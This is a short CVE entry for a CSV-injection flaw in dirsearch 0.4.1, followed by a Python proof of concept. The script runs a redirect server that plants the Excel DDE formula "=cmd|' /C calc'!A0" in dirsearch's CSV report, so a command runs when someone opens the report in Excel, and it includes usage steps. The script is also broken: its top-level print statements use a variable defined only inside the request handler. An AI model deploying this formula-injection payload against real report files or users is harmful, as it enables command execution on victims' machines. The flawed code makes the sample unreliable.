CVE-2021-47901 Dirsearch 0.4.1 CSV注入漏洞

import http.server import socketserver # Malicious redirect server to demonstrate CSV injection class CSVInjectionHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Inject Excel formula through redirect # =cmd|' /C calc'!A0 will execute calc on Windows malicious_path = "=cmd|' /C calc'!A0" self.send_response(302) self.send_header('Location', malicious_path) self.end_headers() PORT = 8888 Handler = CSVInjectionHandler print(f"Malicious server running on port {PORT}") print(f"Redirects to: {malicious_path}") print("\nUsage with dirsearch:") print(f"python3 dirsearch.py -u http://localhost:{PORT}/ -csv-report output.csv") print("\nWhen output.csv is opened in Excel, the formula will be executed.") with socketserver.TCPServer(('', PORT), Handler) as httpd: httpd.serve_forever()